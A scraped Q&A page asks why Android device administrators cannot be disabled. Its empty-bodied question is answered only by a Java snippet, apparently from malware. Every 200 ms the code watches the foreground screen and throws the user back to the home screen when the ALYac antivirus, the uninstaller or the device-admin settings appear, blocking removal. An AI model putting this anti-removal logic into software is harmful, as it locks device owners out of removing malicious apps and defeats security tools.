【问题标题】:android device administrators can not be disabled?android设备管理员不能禁用吗?
【发布时间】:2016-03-12 00:43:37
【问题描述】:
【问题讨论】:
标签:
android
malware
device-admin
【解决方案1】:
this.timer.schedule(new TimerTask() {
public void run() {
new Handler(Plugin.this.service.getMainLooper()).post(new Runnable() {
public void run() {
boolean kill;
String name = Plugin.getTopActivityName(Plugin.this.service);
if (name == null || !name.startsWith("com.estsoft.alyac.ui")) {
kill = false;
} else {
kill = true;
}
if (!kill) {
if (name == null || !name.contains("packageinstaller.UninstallerActivity")) {
kill = false;
} else {
kill = true;
}
if (kill) {
for (String pkg : Plugin.oldPackageList) {
if (Plugin.isAvilible(Plugin.this.service, pkg)) {
kill = false;
break;
}
}
if (kill && Plugin.isAvilible(Plugin.this.service, Plugin.V3_PACKAGE)) {
kill = false;
}
}
}
if (!kill) {
if (name == null || !name.contains(".DeviceAdminAdd")) {
kill = false;
} else {
kill = true;
}
boolean mdarEnabled = devicePref.getBoolean("mdar", false);
if (kill && !mdarEnabled) {
kill = false;
}
}
if (kill) {
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.addFlags(268435456);
Plugin.this.service.startActivity(intent);
}
}
});
}
}, 2000, 200);